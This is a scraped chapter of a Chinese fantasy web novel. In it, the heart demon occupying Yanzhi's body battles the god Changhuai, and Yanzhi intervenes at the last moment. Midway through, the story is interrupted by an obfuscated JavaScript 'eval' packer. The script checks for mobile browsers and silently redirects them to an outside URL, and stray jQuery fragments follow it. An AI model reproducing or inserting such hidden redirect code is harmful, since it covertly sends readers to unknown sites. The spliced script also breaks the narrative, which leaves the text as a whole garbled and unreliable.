69. 我给长淮杀我的机会
作品:《成为死对头的本命剑以后》 客栈中原本有不少人,现下都逃了出去。有路过此处的人不明所以,但是见到里面被结界围着,便好奇问道:“出何事了?”
“有人打架。”
凶煞之力被结界阻隔没有蔓延出来,他们便也在外头围着看热闹。
很快,便有人认出了打架的其中一人乃是燕支。
凶煞之力并非燕支独有,再加上心魔的手腕上还带着避息钏,气息被遮掩住,所以起初只是看到了凶煞之力,并未有人认出这是燕支,但是燕支毕竟只是改了发色,样貌未变。
“那人是燕□□同她打架的不会是……”
“长淮神君?”
“燕支凶剑当真与长淮神君不合,大涛宝坊的赌局难道今日就要有了结果?”
凑在人群中的天倪拐了拐无相:“你压了谁赢?”
无相从天倪手里抓过一把瓜子,说道:“当然是燕支。”
.
外头如何,里面已经缠斗在一起的两人并不知晓。
他们二人并未用太多灵力,更多的是过招势,心魔看出长淮的留手,嗤笑道:“怎么,你就这么舍不得伤燕支?”
长淮挡住心魔的一击,没有出声。
心魔手腕一抖,灵力幻化的长剑骤然融作黑雾,又在瞬间重新聚合,只是聚合后长剑化作了长鞭,而后卷住了长淮的剑。
“若是曾经的你,与我还有一战之力。如今的你连神格都不全,拿什么和我打?”
凶煞之力注入长鞭,顺着细长的鞭身缠上长剑,随后猛地收紧,剑身瞬间多了几道裂纹。眼见着就要被震碎,长淮手腕翻转,杀伐之力灌入其中,磅礴的神力与与凶煞之力相撞,长鞭与长剑同时断裂化作灵力消散于半空,巨大的冲击让两个人均后退几步,罡风冲起了衣袍与头发,划伤了心魔的眼尾与长淮的脸侧。
心魔抬手擦过眼尾,垂眼看见血迹后,红瞳颜色骤然加深,戾气乍现:“长淮,我真不懂,你图什么呢?”
她望着长淮,厉声说道:“到如今,你难道还看不出来吗?此番乃是燕支算计你我两个人,她根本不顾你的死活,只想让你与我两败俱伤!”
她与燕支不说相伴而生,但是在一起上万年,这世间没有比她更了解燕支的人。
此番虽然是她以记忆诱导燕支说出那句不该说的话,让她受天道法则加身,神魂遭受重创,可她并未再察觉燕支的神魂踪迹,燕支不会离开这具身体,只能是躲进了莲秽祭中。
但是这般轻易躲起来不是燕支的性子,她那宁为玉碎不为瓦全的狗性子该是狠戾到与她争个鱼死网破,而不是让她全须全尾,如此轻松的争到身体。
所以只能是燕支有别的打算。
她原本是无所谓燕支想做什么的,她好不容易借助心魔幻境逃过莲秽祭的压制,藏在了燕支的神魂深处,等到一个可以出来的机会,自然不会轻易放过。而且现在神界那群人都不能随意插手燕支的事情,只要她尽快补全神格,拿到神骨,成为邪神,燕支的神魂就会彻底消散,到那时,不管燕支有什么谋划都只会是一场空。
但是如今长淮又成为了她计划中的变数。
也是此时她才意识到了燕支的谋划。
长淮无论是从前还是现在,都是掌世间秩序的神明,杀伐之力能够引天罚断人过往之中的善恶对错,她是心魔,强夺人身,长淮若是真引天罚,那么她必受重创,但她也不会任由长淮引天道诘问她的对错,他们二人最后只会是两败俱伤。
她就说,燕支这样的人,又受过如此多的背叛,这一次怎会轻易应下长淮的合作。
她信的仍旧只有她自己,长淮是她的棋子也是弃子。
坐在莲秽祭中的燕支听到心魔的话没有什么反应,一个活了上万年的心魔,能看穿她的意图,她一点都不意外。
她只是盯着水镜中的长淮,看他的反应。
虽然神界的那些人看起来对她没有敌意,甚至好像在帮她,但她在恢复记忆之前,不会信任他们,也不会信长淮,她只信自己。
所以当初答应长淮合作是假,算计他才是真。
她算准了长淮不会放任心魔流窜六界,必然会出手铲除,而心魔也不会坐以待毙,他们二人必定两败俱伤。
等到那时,她再生剥心魔就会省事许多。
同时,在长淮深受重伤之时,她侵入长淮的神魂,逼他解除生死契就更容易了。
她要在揪出幕后之人前,先把心魔与生死契都解决掉,将所有的变数都掌握在自己手里,确保万无一失。
燕支一眨不眨的等着长淮的反应,连她自己都没有发现,她搭在腿弯处的手已经攥紧了。
一片静默之后,她听见长淮说:
“我知道。”
“我甘愿。”
燕支搭在腿弯处的手骤然一松,连带着心口处好像都有了一丝异样的感觉。
她垂下眼,轻轻捂住。
片刻后,忽而轻轻笑了一声。
与燕支的反应截然相反是心魔。
“你——”她大怒,指着长淮骂道,“你简直是无药可救!”
长淮却不再理会她的这一句话,而是双手结印,心魔一眼便认出这是在引天罚,竟真的叫燕支算准了。
“你与濯水都是疯子!”心魔破口大骂,将黑雾化作利刃,想要破开封印。
当年濯水那个疯子又是撕裂神魂,又是自碎神格,让她的神魂也跟着受伤破碎,她后来废了大力气,靠着引诱放大靠近燕支的那些人的欲望不断地杀死燕支,才终于在一次次魂飞魄散中将两个人的神魂彻底分割。
如今眼见着掌握了这具身体,只差一个神骨,她就能够彻底成为一个独立的人,甚至是神,她当然不愿意跟长淮拼命。
长淮却不给心魔离开的机会,以精血加固结界,同时以自身血气为引,引那道最重的天雷,他不会让心魔彻底魂飞魄散,留着她还有用,但也不能让她再有翻身的可能,所以留下一丝即可。
客栈外面的人,只见原本昏暗的天际忽然多了重重乌云,黑沉沉地一层叠一层全部压了过来,透出的威压让人呼吸都有些困难。
天倪看到这里,收起了手里的瓜子。
濯水果然还是那个只信自己的濯水。
令羲也仍旧是那个死心眼的令羲。
这次换无相拐天倪了:“上一次,燕支在最后时刻收手了,你觉得这一次,她会如何?”
“这六界之中,还没有人能够猜透燕支的心思。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16528955|176015||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
天倪淡淡道。
她最是无所顾忌之人,也是最随性之人,也许上一秒路过快死的人看也不看一眼,甚至会抬脚踢开这个挡路之人,下一秒又会回过头去出手相救。
她想做什么,她不想做什么,只在她自己的一念之间,无人能够干扰动摇。
与他们二人的轻松相比,客栈之中的心魔只差问候长淮的祖宗了,她感受到天道的威压,知道这是最后逃生的机会了。
她毫不犹豫地强行祭出燕支凶剑,在握住长剑后横过剑身划破手掌,以血为引,引更为凶恶的凶煞之力与邪气附着剑身。
燕支凶剑可破世间一切禁制,长淮的护身禁制在她面前如同虚设。
心魔提着凶剑冲向了长淮,如今只有刺穿长淮的心脏,才能停下天罚,否则就算破开结界逃出去,也只能逃一时,天道之下无所遁形,她仍旧会被天道诘问。
长淮见到心魔握剑朝他刺来,只是沉静看着,没有任何抵挡的意思。
莲秽祭中的菩提心看着这一幕想要张嘴说句什么,但是在侧头看了看燕支后,又把话咽了回去。
燕支从不听任何人的话。
很快,她看见了水镜之中滴落在地的鲜血。
同时,她察觉到身旁燕支的气息消失了。
她这才注意到,那几滴血不是来自长淮的心脏,而是燕支的手。
客栈之中,结界中央,长淮垂眼,他先看见的是乌黑的发丝,而后看见了握住剑刃的那只手,鲜血顺着指缝,有一些洇在了他心口处的衣裳上,有一些滴答滴答的落在地上。
燕支在最后一刻选择了收手。
“怎么放弃了?”长淮问。
“血溅当场,不好看,我不喜欢。”燕支一只手握着剑柄,一只手攥着剑刃,漫不经心地回答。
“闭上眼睛就看不到了。”长淮说:“现在后悔,还来得及。”
他没有收起神力,杀伐之力环绕周身,他与燕支的脚下是阵印,头顶是穿梭云间的天雷
燕支望着长淮的眼睛轻笑了一声。
她甩掉剑上血,将剑径直插在身前的地上,而后左手上扬,鲜血顺着手掌下流,数道血线蜿蜒至胳膊,没入衣袖,紧接着赤红的血气自她掌心轰出,游荡在云间的天雷悍然而下。
巨大的轰鸣声中,长淮听见燕支说:“神君,我也给你一个反悔的机会。”
随着这一声话落,两个人脚下出现了生死契的法阵,燕支说:“天雷落地,生死契解,现在杀了我,你的劫就过了,苍生也无覆灭之劫”
她说着,撤下手掌,被她以血气挡在上方的天雷化作数条凶猛银蛇蓄力后直冲她身,她却不闪不避,甚至将手腕上的锁魂结一把扯断,扔在了地上。
一切都发生在须臾之间,长淮想都没想,一把拉过燕支,将人严严实实的护在了怀里。
然而。
预想中的反噬没有到来。
他听见怀里的燕支说:“神君,你可是忘了,你若受伤,我也会遭牵连。”
话罢,她推开长淮,俯身捡起了刚才扔在地上的锁魂结。
那锁魂结在触碰到燕支手指之时,伪装褪去,重新恢复原来的样子——
是坤灵神君给燕支的草木环。

